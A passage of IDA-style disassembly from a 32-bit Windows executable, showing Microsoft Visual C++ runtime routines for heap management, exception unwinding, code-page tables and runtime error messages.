ecx, edi sar eax, 5 and ecx, 1Fh mov eax, dword_4074E0[eax*4] lea eax, [eax+ecx*8] mov ecx, [ebx] mov [eax], ecx mov cl, [ebp+0] mov [eax+4], cl loc_4033EE: ; CODE XREF: sub_4032C7+EFj ; sub_4032C7+F7j ... inc edi inc ebp add ebx, 4 cmp edi, esi jl short loc_4033B1 loc_4033F7: ; CODE XREF: sub_4032C7+65j ; sub_4032C7+71j ... xor ebx, ebx loc_4033F9: ; CODE XREF: sub_4032C7+195j mov eax, dword_4074E0 cmp dword ptr [eax+ebx*8], 0FFFFFFFFh lea esi, [eax+ebx*8] jnz short loc_403454 test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_403414 push 0FFFFFFF6h pop eax jmp short loc_40341E ; --------------------------------------------------------------------------- loc_403414: ; CODE XREF: sub_4032C7+146j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_40341E: ; CODE XREF: sub_4032C7+14Bj push eax call dword_4050A4 ; GetStdHandle mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_403443 push edi call dword_4050A0 ; GetFileType test eax, eax jz short loc_403443 and eax, 0FFh mov [esi], edi cmp eax, 2 jnz short loc_403449 loc_403443: ; CODE XREF: sub_4032C7+163j ; sub_4032C7+16Ej or byte ptr [esi+4], 40h jmp short loc_403458 ; --------------------------------------------------------------------------- loc_403449: ; CODE XREF: sub_4032C7+17Aj cmp eax, 3 jnz short loc_403458 or byte ptr [esi+4], 8 jmp short loc_403458 ; --------------------------------------------------------------------------- loc_403454: ; CODE XREF: sub_4032C7+13Ej or byte ptr [esi+4], 80h loc_403458: ; CODE XREF: sub_4032C7+180j ; sub_4032C7+185j ... inc ebx cmp ebx, 3 jl short loc_4033F9 push dword_4075E0 call dword_4050A8 ; SetHandleCount pop edi pop esi pop ebp pop ebx add esp, 44h retn sub_4032C7 endp ; =============== S U B R O U T I N E ======================================= sub_403472 proc near ; CODE XREF: .text:00402988p arg_0 = dword ptr 4 xor eax, eax push 0 cmp [esp+4+arg_0], eax push 1000h setz al push eax call dword_405098 ; HeapCreate test eax, eax mov dword_4074C8, eax jz short loc_4034A7 call sub_403E1A test eax, eax jnz short loc_4034AA push dword_4074C8 call dword_40509C ; HeapDestroy loc_4034A7: ; CODE XREF: sub_403472+1Ej xor eax, eax retn ; --------------------------------------------------------------------------- loc_4034AA: ; CODE XREF: sub_403472+27j push 1 pop eax retn sub_403472 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4034B0 proc near ; CODE XREF: sub_4035A8+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset loc_4034C8 push [ebp+arg_0] call sub_404DA8 ; RtlUnwind loc_4034C8: ; DATA XREF: sub_4034B0+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4034B0 endp ; =============== S U B R O U T I N E ======================================= sub_4034D0 proc near ; DATA XREF: sub_4034F2+Ao ; .text:00403563o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_4034F1 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_4034F1: ; CODE XREF: sub_4034D0+10j retn sub_4034D0 endp ; =============== S U B R O U T I N E ======================================= sub_4034F2 proc near ; CODE XREF: sub_4035A8+67p ; sub_4035A8+A7p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_4034D0 push large dword ptr fs:0 mov large fs:0, esp loc_40350F: ; CODE XREF: sub_4034F2:loc_40354Aj mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_40354C cmp esi, [esp+1Ch+arg_4] jz short loc_40354C lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_40354A push 101h mov eax, [ebx+esi*4+8] call sub_403586 call dword ptr [ebx+esi*4+8] loc_40354A: ; CODE XREF: sub_4034F2+44j jmp short loc_40350F ; --------------------------------------------------------------------------- loc_40354C: ; CODE XREF: sub_4034F2+2Aj ; sub_4034F2+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_4034F2 endp ; --------------------------------------------------------------------------- xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_4034D0 jnz short locret_40357C mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_40357C mov eax, 1 locret_40357C: ; CODE XREF: .text:0040356Aj ; .text:00403575j retn ; --------------------------------------------------------------------------- push ebx push ecx mov ebx, offset dword_406F1C jmp short loc_403590 ; =============== S U B R O U T I N E ======================================= sub_403586 proc near ; CODE XREF: sub_4034F2+4Fp ; sub_4035A8+78p push ebx push ecx mov ebx, offset dword_406F1C mov ecx, [ebp+8] loc_403590: ; CODE XREF: .text:00403584j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_403586 endp ; --------------------------------------------------------------------------- align 10h push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4035A8 proc near ; DATA XREF: .text:00402938o ; sub_40380C+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_403648 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_4035DB: ; CODE XREF: sub_4035A8+90j cmp esi, 0FFFFFFFFh jz short loc_403641 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_40362F push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_40362F js short loc_40363A mov edi, [ebx+8] push ebx call sub_4034B0 add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_4034F2 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_403586 mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_40362F: ; CODE XREF: sub_4035A8+40j ; sub_4035A8+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_4035DB ; --------------------------------------------------------------------------- loc_40363A: ; CODE XREF: sub_4035A8+54j mov eax, 0 jmp short loc_40365D ; --------------------------------------------------------------------------- loc_403641: ; CODE XREF: sub_4035A8+36j mov eax, 1 jmp short loc_40365D ; --------------------------------------------------------------------------- loc_403648: ; CODE XREF: sub_4035A8+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_4034F2 add esp, 8 pop ebp mov eax, 1 loc_40365D: ; CODE XREF: sub_4035A8+97j ; sub_4035A8+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4035A8 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_4034F2 add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_403680 proc near ; CODE XREF: sub_402A24+9p ; sub_402A49+9p mov eax, dword_4070D8 cmp eax, 1 jz short loc_403697 test eax, eax jnz short locret_4036B8 cmp dword_406C64, 1 jnz short locret_4036B8 loc_403697: ; CODE XREF: sub_403680+8j push 0FCh call sub_4036B9 mov eax, dword_407234 pop ecx test eax, eax jz short loc_4036AD call eax ; dword_407234 loc_4036AD: ; CODE XREF: sub_403680+29j push 0FFh call sub_4036B9 pop ecx locret_4036B8: ; CODE XREF: sub_403680+Cj ; sub_403680+15j retn sub_403680 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4036B9 proc near ; CODE XREF: sub_402A24+12p ; sub_402A49+12p ... var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_0] xor ecx, ecx mov eax, offset dword_406F30 loc_4036CC: ; CODE XREF: sub_4036B9+20j cmp edx, [eax] jz short loc_4036DB add eax, 8 inc ecx cmp eax, offset byte_406FC0 jl short loc_4036CC loc_4036DB: ; CODE XREF: sub_4036B9+15j push esi mov esi, ecx shl esi, 3 cmp edx, dword_406F30[esi] jnz loc_403809 mov eax, dword_4070D8 cmp eax, 1 jz loc_4037E3 test eax, eax jnz short loc_40370C cmp dword_406C64, 1 jz loc_4037E3 loc_40370C: ; CODE XREF: sub_4036B9+44j cmp edx, 0FCh jz loc_403809 lea eax, [ebp+var_1A4] push 104h push eax push 0 call dword_405038 ; GetModuleFileNameA test eax, eax jnz short loc_403743 lea eax, [ebp+var_1A4] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_402810 pop ecx pop ecx loc_403743: ; CODE XREF: sub_4036B9+75j lea eax, [ebp+var_1A4] push edi push eax lea edi, [ebp+var_1A4] call sub_402300 inc eax pop ecx cmp eax, 3Ch jbe short loc_403786 lea eax, [ebp+var_1A4] push eax call sub_402300 mov edi, eax lea eax, [ebp+var_1A4] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_4046F0 add esp, 10h loc_403786: ; CODE XREF: sub_4036B9+A2j lea eax, [ebp+var_A0] push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push eax call sub_402810 lea eax, [ebp+var_A0] push edi push eax call sub_402820 lea eax, [ebp+var_A0] push offset asc_40540C ; "\n\n" push eax call sub_402820 push off_406F34[esi] lea eax, [ebp+var_A0] push eax call sub_402820 push 12010h lea eax, [ebp+var_A0] push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push eax call sub_404663 add esp, 2Ch pop edi jmp short loc_403809 ; --------------------------------------------------------------------------- loc_4037E3: ; CODE XREF: sub_4036B9+3Cj ; sub_4036B9+4Dj lea eax, [ebp+arg_0] lea esi, off_406F34[esi] push 0 push eax push dword ptr [esi] call sub_402300 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h call dword_4050A4 ; GetStdHandle push eax call dword_405088 ; WriteFile loc_403809: ; CODE XREF: sub_4036B9+2Ej ; sub_4036B9+59j ... pop esi leave retn sub_4036B9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40380C proc near ; CODE XREF: sub_402B3C+5Ep ; sub_403BD6+9Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_405450 push offset sub_4035A8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_407238 xor ebx, ebx cmp eax, ebx jnz short loc_40387B lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_405448 push esi call dword_40507C ; GetStringTypeW test eax, eax jz short loc_403859 mov eax, esi jmp short loc_403876 ; --------------------------------------------------------------------------- loc_403859: ; CODE XREF: sub_40380C+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_4070C8 push esi push ebx call dword_405080 ; GetStringTypeA test eax, eax jz loc_403941 push 2 pop eax loc_403876: ; CODE XREF: sub_40380C+4Bj mov dword_407238, eax loc_40387B: ; CODE XREF: sub_40380C+2Fj cmp eax, 2 jnz short loc_4038A4 mov eax, [ebp+arg_14] cmp eax, ebx jnz short loc_40388C mov eax, dword_407254 loc_40388C: ; CODE XREF: sub_40380C+79j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax call dword_405080 ; GetStringTypeA jmp loc_403943 ; --------------------------------------------------------------------------- loc_4038A4: ; CODE XREF: sub_40380C+72j cmp eax, 1 jnz loc_403941 cmp [ebp+arg_10], ebx jnz short loc_4038BA mov eax, dword_407264 mov [ebp+arg_10], eax loc_4038BA: ; CODE XREF: sub_40380C+A4j push ebx push ebx push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_18] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_10] call dword_405084 ; MultiByteToWideChar mov [ebp+var_20], eax cmp eax, ebx jz short loc_403941 mov [ebp+var_4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_4026C0 mov [ebp+var_18], esp mov esi, esp mov [ebp+var_24], esi push edi push ebx push esi call sub_4022A0 add esp, 0Ch jmp short loc_403910 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor esi, esi loc_403910: ; CODE XREF: sub_40380C+F7j or [ebp+var_4], 0FFFFFFFFh cmp esi, ebx jz short loc_403941 push [ebp+var_20] push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] call dword_405084 ; MultiByteToWideChar cmp eax, ebx jz short loc_403941 push [ebp+arg_C] push eax push esi push [ebp+arg_0] call dword_40507C ; GetStringTypeW jmp short loc_403943 ; --------------------------------------------------------------------------- loc_403941: ; CODE XREF: sub_40380C+61j ; sub_40380C+9Bj ... xor eax, eax loc_403943: ; CODE XREF: sub_40380C+93j ; sub_40380C+133j lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_40380C endp ; =============== S U B R O U T I N E ======================================= sub_403955 proc near ; CODE XREF: sub_402E37+2Bp arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_403966 add esp, 0Ch retn sub_403955 endp ; =============== S U B R O U T I N E ======================================= sub_403966 proc near ; CODE XREF: sub_403955+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test byte_4073C1[eax], cl jnz short loc_403993 cmp [esp+arg_4], 0 jz short loc_40398C movzx eax, word_406C7A[eax*2] and eax, [esp+arg_4] jmp short loc_40398E ; --------------------------------------------------------------------------- loc_40398C: ; CODE XREF: sub_403966+16j xor eax, eax loc_40398E: ; CODE XREF: sub_403966+24j test eax, eax jnz short loc_403993 retn ; --------------------------------------------------------------------------- loc_403993: ; CODE XREF: sub_403966+Fj ; sub_403966+2Aj push 1 pop eax retn sub_403966 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403997 proc near ; CODE XREF: sub_403D5B+Bp var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push [ebp+arg_0] call sub_403B30 ; GetOEMCP mov esi, eax pop ecx cmp esi, dword_407290 mov [ebp+arg_0], esi jz loc_403B24 xor ebx, ebx cmp esi, ebx jz loc_403B1A xor edx, edx mov eax, offset dword_406FC8 loc_4039CB: ; CODE XREF: sub_403997+41j cmp [eax], esi jz short loc_403A41 add eax, 30h inc edx cmp eax, offset dword_4070B8 jl short loc_4039CB lea eax, [ebp+var_18] push eax push esi call dword_405078 ; GetCPInfo cmp eax, 1 jnz loc_403B12 push 40h xor eax, eax pop ecx mov edi, offset byte_4073C0 cmp [ebp+var_18], 1 mov dword_407290, esi rep stosd stosb mov dword_4074C4, ebx jbe loc_403B00 cmp [ebp+var_12], 0 jz loc_403AD6 lea ecx, [ebp+var_11] loc_403A1E: ; CODE XREF: sub_403997+139j mov dl, [ecx] test dl, dl jz loc_403AD6 movzx eax, byte ptr [ecx-1] movzx edx, dl loc_403A2F: ; CODE XREF: sub_403997+A8j cmp eax, edx ja loc_403ACA or byte_4073C1[eax], 4 inc eax jmp short loc_403A2F ; --------------------------------------------------------------------------- loc_403A41: ; CODE XREF: sub_403997+36j push 40h xor eax, eax pop ecx mov edi, offset byte_4073C0 rep stosd lea esi, [edx+edx*2] mov [ebp+var_4], ebx shl esi, 4 stosb lea ebx, dword_406FD8[esi] loc_403A5D: ; CODE XREF: sub_403997+103j cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_403A90 loc_403A64: ; CODE XREF: sub_403997+F7j mov dl, [ecx+1] test dl, dl jz short loc_403A90 movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_403A89 mov edx, [ebp+var_4] mov dl, byte_406FC0[edx] loc_403A7E: ; CODE XREF: sub_403997+F0j or byte_4073C1[eax], dl inc eax cmp eax, edi jbe short loc_403A7E loc_403A89: ; CODE XREF: sub_403997+DCj inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_403A64 loc_403A90: ; CODE XREF: sub_403997+CBj ; sub_403997+D2j inc [ebp+var_4] add ebx, 8 cmp [ebp+var_4], 4 jb short loc_403A5D mov eax, [ebp+arg_0] mov dword_4072AC, 1 push eax mov dword_407290, eax call sub_403B7A lea esi, dword_406FCC[esi] mov edi, offset dword_4072A0 movsd movsd pop ecx mov dword_4074C4, eax movsd jmp short loc_403B1F ; --------------------------------------------------------------------------- loc_403ACA: ; CODE XREF: sub_403997+9Aj inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_403A1E loc_403AD6: ; CODE XREF: sub_403997+7Ej ; sub_403997+8Bj push 1 pop eax loc_403AD9: ; CODE XREF: sub_403997+14Fj or byte_4073C1[eax], 8 inc eax cmp eax, 0FFh jb short loc_403AD9 push esi call sub_403B7A pop ecx mov dword_4074C4, eax mov dword_4072AC, 1 jmp short loc_403B06 ; --------------------------------------------------------------------------- loc_403B00: ; CODE XREF: sub_403997+74j mov dword_4072AC, ebx loc_403B06: ; CODE XREF: sub_403997+167j xor eax, eax mov edi, offset dword_4072A0 stosd stosd stosd jmp short loc_403B1F ; --------------------------------------------------------------------------- loc_403B12: ; CODE XREF: sub_403997+51j cmp dword_40723C, ebx jz short loc_403B28 loc_403B1A: ; CODE XREF: sub_403997+27j call sub_403BAD loc_403B1F: ; CODE XREF: sub_403997+131j ; sub_403997+179j call sub_403BD6 loc_403B24: ; CODE XREF: sub_403997+1Dj xor eax, eax jmp short loc_403B2B ; --------------------------------------------------------------------------- loc_403B28: ; CODE XREF: sub_403997+181j or eax, 0FFFFFFFFh loc_403B2B: ; CODE XREF: sub_403997+18Fj pop edi pop esi pop ebx leave retn sub_403997 endp ; =============== S U B R O U T I N E ======================================= sub_403B30 proc near ; CODE XREF: sub_403997+Cp arg_0 = dword ptr 4 mov eax, [esp+arg_0] and dword_40723C, 0 cmp eax, 0FFFFFFFEh jnz short loc_403B50 mov dword_40723C, 1 jmp dword_405070 ; --------------------------------------------------------------------------- loc_403B50: ; CODE XREF: sub_403B30+Ej cmp eax, 0FFFFFFFDh jnz short loc_403B65 mov dword_40723C, 1 jmp dword_405074 ; --------------------------------------------------------------------------- loc_403B65: ; CODE XREF: sub_403B30+23j cmp eax, 0FFFFFFFCh jnz short locret_403B79 mov eax, dword_407264 mov dword_40723C, 1 locret_403B79: ; CODE XREF: sub_403B30+38j retn sub_403B30 endp ; =============== S U B R O U T I N E ======================================= sub_403B7A proc near ; CODE XREF: sub_403997+118p ; sub_403997+152p arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_403BA7 sub eax, 4 jz short loc_403BA1 sub eax, 0Dh jz short loc_403B9B dec eax jz short loc_403B95 xor eax, eax retn ; --------------------------------------------------------------------------- loc_403B95: ; CODE XREF: sub_403B7A+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_403B9B: ; CODE XREF: sub_403B7A+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_403BA1: ; CODE XREF: sub_403B7A+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_403BA7: ; CODE XREF: sub_403B7A+9j mov eax, 411h retn sub_403B7A endp ; =============== S U B R O U T I N E ======================================= sub_403BAD proc near ; CODE XREF: sub_403997:loc_403B1Ap push edi push 40h pop ecx xor eax, eax mov edi, offset byte_4073C0 rep stosd stosb xor eax, eax mov edi, offset dword_4072A0 mov dword_407290, eax mov dword_4072AC, eax mov dword_4074C4, eax stosd stosd stosd pop edi retn sub_403BAD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403BD6 proc near ; CODE XREF: sub_403997:loc_403B1Fp var_514 = byte ptr -514h var_314 = byte ptr -314h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = byte ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh push ebp mov ebp, esp sub esp, 514h lea eax, [ebp+var_14] push esi push eax push dword_407290 call dword_405078 ; GetCPInfo cmp eax, 1 jnz loc_403D0F xor eax, eax mov esi, 100h loc_403C00: ; CODE XREF: sub_403BD6+34j mov [ebp+eax+var_114], al inc eax cmp eax, esi jb short loc_403C00 mov al, [ebp+var_E] mov [ebp+var_114], 20h test al, al jz short loc_403C51 push ebx push edi lea edx, [ebp+var_D] loc_403C1F: ; CODE XREF: sub_403BD6+77j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_403C46 sub ecx, eax lea edi, [ebp+eax+var_114] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_403C46: ; CODE XREF: sub_403BD6+51j inc edx inc edx mov al, [edx-1] test al, al jnz short loc_403C1F pop edi pop ebx loc_403C51: ; CODE XREF: sub_403BD6+42j push 0 lea eax, [ebp+var_514] push dword_4074C4 push dword_407290 push eax lea eax, [ebp+var_114] push esi push eax push 1 call sub_40380C push 0 lea eax, [ebp+var_214] push dword_407290 push esi push eax lea eax, [ebp+var_114] push esi push eax push esi push dword_4074C4 call sub_4047EE push 0 lea eax, [ebp+var_314] push dword_407290 push esi push eax lea eax, [ebp+var_114] push esi push eax push 200h push dword_4074C4 call sub_4047EE add esp, 5Ch xor eax, eax lea ecx, [ebp+var_514] loc_403CCC: ; CODE XREF: sub_403BD6+135j mov dx, [ecx] test dl, 1 jz short loc_403CEA or byte_4073C1[eax], 10h mov dl, [ebp+eax+var_214] loc_403CE2: ; CODE XREF: sub_403BD6+127j mov byte_4072C0[eax], dl jmp short loc_403D06 ; --------------------------------------------------------------------------- loc_403CEA: ; CODE XREF: sub_403BD6+FCj test dl, 2 jz short loc_403CFF or byte_4073C1[eax], 20h mov dl, [ebp+eax+var_314] jmp short loc_403CE2 ; --------------------------------------------------------------------------- loc_403CFF: ; CODE XREF: sub_403BD6+117j and byte_4072C0[eax], 0 loc_403D06: ; CODE XREF: sub_403BD6+112j inc eax inc ecx inc ecx cmp eax, esi jb short loc_403CCC jmp short loc_403D58 ; --------------------------------------------------------------------------- loc_403D0F: ; CODE XREF: sub_403BD6+1Dj xor eax, eax mov esi, 100h loc_403D16: ; CODE XREF: sub_403BD6+180j cmp eax, 41h jb short loc_403D34 cmp eax, 5Ah ja short loc_403D34 or byte_4073C1[eax], 10h mov cl, al add cl, 20h loc_403D2C: ; CODE XREF: sub_403BD6+174j mov byte_4072C0[eax], cl jmp short loc_403D53 ; --------------------------------------------------------------------------- loc_403D34: ; CODE XREF: sub_403BD6+143j ; sub_403BD6+148j cmp eax, 61h jb short loc_403D4C cmp eax, 7Ah ja short loc_403D4C or byte_4073C1[eax], 20h mov cl, al sub cl, 20h jmp short loc_403D2C ; --------------------------------------------------------------------------- loc_403D4C: ; CODE XREF: sub_403BD6+161j ; sub_403BD6+166j and byte_4072C0[eax], 0 loc_403D53: ; CODE XREF: sub_403BD6+15Cj inc eax cmp eax, esi jb short loc_403D16 loc_403D58: ; CODE XREF: sub_403BD6+137j pop esi leave retn sub_403BD6 endp ; =============== S U B R O U T I N E ======================================= sub_403D5B proc near ; CODE XREF: sub_402E37+9p ; sub_402E8F+Dp ... cmp dword_4075E8, 0 jnz short locret_403D76 push 0FFFFFFFDh call sub_403997 pop ecx mov dword_4075E8, 1 locret_403D76: ; CODE XREF: sub_403D5B+7j retn sub_403D5B endp ; =============== S U B R O U T I N E ======================================= sub_403D77 proc near ; CODE XREF: sub_402E8F+9Dp ; sub_403195+BFp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_403DA4 push esi call sub_403E58 pop ecx test eax, eax push esi jz short loc_403D96 push eax call sub_403E83 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_403D96: ; CODE XREF: sub_403D77+13j push 0 push dword_4074C8 call dword_405090 ; RtlFreeHeap loc_403DA4: ; CODE XREF: sub_403D77+7j pop esi retn sub_403D77 endp ; =============== S U B R O U T I N E ======================================= sub_403DA6 proc near ; CODE XREF: sub_402E8F+3Ap ; sub_402E8F+6Fp ... arg_0 = dword ptr 4 push dword_407270 push [esp+4+arg_0] call sub_403DB8 pop ecx pop ecx retn sub_403DA6 endp ; =============== S U B R O U T I N E ======================================= sub_403DB8 proc near ; CODE XREF: sub_403DA6+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_403DE1 loc_403DBF: ; CODE XREF: sub_403DB8+27j push [esp+arg_0] call sub_403DE4 test eax, eax pop ecx jnz short locret_403DE3 cmp [esp+arg_4], eax jz short locret_403DE3 push [esp+arg_0] call sub_404A3D test eax, eax pop ecx jnz short loc_403DBF loc_403DE1: ; CODE XREF: sub_403DB8+5j xor eax, eax locret_403DE3: ; CODE XREF: sub_403DB8+13j ; sub_403DB8+19j retn sub_403DB8 endp ; =============== S U B R O U T I N E ======================================= sub_403DE4 proc near ; CODE XREF: sub_403DB8+Bp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] cmp esi, dword_4070B8 ja short loc_403DFC push esi call sub_4041AE test eax, eax pop ecx jnz short loc_403E18 loc_403DFC: ; CODE XREF: sub_403DE4+Bj test esi, esi jnz short loc_403E03 push 1 pop esi loc_403E03: ; CODE XREF: sub_403DE4+1Aj add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_4074C8 call dword_40506C ; RtlAllocateHeap loc_403E18: ; CODE XREF: sub_403DE4+16j pop esi retn sub_403DE4 endp ; =============== S U B R O U T I N E ======================================= sub_403E1A proc near ; CODE XREF: sub_403472+20p push 140h push 0 push dword_4074C8 call dword_40506C ; RtlAllocateHeap test eax, eax mov dword_40728C, eax jnz short loc_403E37 retn ; --------------------------------------------------------------------------- loc_403E37: ; CODE XREF: sub_403E1A+1Aj and dword_407284, 0 and dword_407288, 0 push 1 mov dword_407280, eax mov dword_407278, 10h pop eax retn sub_403E1A endp ; =============== S U B R O U T I N E ======================================= sub_403E58 proc near ; CODE XREF: sub_403D77+Ap arg_0 = dword ptr 4 mov eax, dword_407288 lea ecx, [eax+eax*4] mov eax, dword_40728C lea ecx, [eax+ecx*4] loc_403E68: ; CODE XREF: sub_403E58+26j cmp eax, ecx jnb short loc_403E80 mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_403E82 add eax, 14h jmp short loc_403E68 ; --------------------------------------------------------------------------- loc_403E80: ; CODE XREF: sub_403E58+12j xor eax, eax locret_403E82: ; CODE XREF: sub_403E58+21j retn sub_403E58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403E83 proc near ; CODE XREF: sub_403D77+16p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h mov edx, [ebp+arg_4] mov ecx, [ebp+arg_0] push ebx push esi mov eax, [ecx+10h] mov esi, edx sub esi, [ecx+0Ch] mov ebx, [edx-4] add edx, 0FFFFFFFCh push edi shr esi, 0Fh mov ecx, esi mov edi, [edx-4] imul ecx, 204h dec ebx mov [ebp+var_4], edi lea ecx, [ecx+eax+144h] mov [ebp+var_C], ebx mov [ebp+var_10], ecx mov ecx, [ebx+edx] test cl, 1 mov [ebp+var_8], ecx jnz short loc_403F49 sar ecx, 4 push 3Fh dec ecx pop edi mov [ebp+arg_4], ecx cmp ecx, edi jbe short loc_403EDB mov [ebp+arg_4], edi loc_403EDB: ; CODE XREF: sub_403E83+53j mov ecx, [ebx+edx+4] cmp ecx, [ebx+edx+8] jnz short loc_403F2D mov ecx, [ebp+arg_4] cmp ecx, 20h jnb short loc_403F09 mov edi, 80000000h shr edi, cl lea ecx, [ecx+eax+4] not edi and [eax+esi*4+44h], edi dec byte ptr [ecx] jnz short loc_403F2D mov ecx, [ebp+arg_0] and [ecx], edi jmp short loc_403F2D ; --------------------------------------------------------------------------- loc_403F09: ; CODE XREF: sub_403E83+68j add ecx, 0FFFFFFE0h mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_4] lea ecx, [ecx+eax+4] not edi and [eax+esi*4+0C4h], edi dec byte ptr [ecx] jnz short loc_403F2D mov ecx, [ebp+arg_0] and [ecx+4], edi loc_403F2D: ; CODE 